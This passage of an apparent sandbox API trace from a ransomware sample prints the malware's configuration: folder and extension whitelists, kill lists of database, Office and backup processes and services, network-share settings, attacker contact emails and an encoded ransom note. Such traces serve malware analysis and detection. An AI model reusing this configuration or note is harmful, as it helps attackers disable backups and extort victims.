file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 8
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28685b0, Size=0x18) returned 0x2868770
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868670
	[0060.367] strtol (in: _Str="5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x10f0d0, _Radix=0 | out: _EndPtr=0x10f0d0*=", \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 5
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2868770, Size=0x1c) returned 0x286c150
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28687d0
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286c150, Size=0x20) returned 0x286bef8
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868690
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x2866770
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28685b0
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2866770, Size=0x8) returned 0x2873208
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28684b0
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286bef8, Size=0x24) returned 0x2862260
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28685d0
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862260, Size=0x28) returned 0x28623e0
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28687f0
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28623e0, Size=0x2c) returned 0x285b6a0
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868650
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x28730e8
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868770
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x2873268
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28686b0
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2873268, Size=0x8) returned 0x28731a8
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28686f0
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28731a8, Size=0xc) returned 0x2861b20
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868830
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861b20, Size=0x10) returned 0x2861b98
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868810
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861b98, Size=0x14) returned 0x2868470
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28684f0
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2868470, Size=0x18) returned 0x2868510
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868470
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2868510, Size=0x1c) returned 0x286bef8
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868510
	[0060.367] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286bef8, Size=0x20) returned 0x286bfe8
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868530
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286bfe8, Size=0x24) returned 0x2862260
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873340
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862260, Size=0x28) returned 0x2862290
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28733e0
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862290, Size=0x2c) returned 0x285b6d8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873660
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b6d8, Size=0x30) returned 0x285b710
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873400
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x285b710, Size=0x34) returned 0x286fa48
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28732e0
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286fa48, Size=0x38) returned 0x286f9c8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873420
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x286f9c8, Size=0x3c) returned 0x28743c8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28734a0
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28743c8, Size=0x40) returned 0x2874458
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28736a0
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2874458, Size=0x44) returned 0x2862ba8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28735e0
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862ba8, Size=0x48) returned 0x2862518
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873580
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2862518, Size=0x4c) returned 0x2853eb8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873440
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x50) returned 0x2853eb8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873360
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x54) returned 0x2853eb8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873620
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x58) returned 0x2853eb8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873380
	[0060.368] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2853eb8, Size=0x5c) returned 0x2853eb8
	[0060.368] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2873460
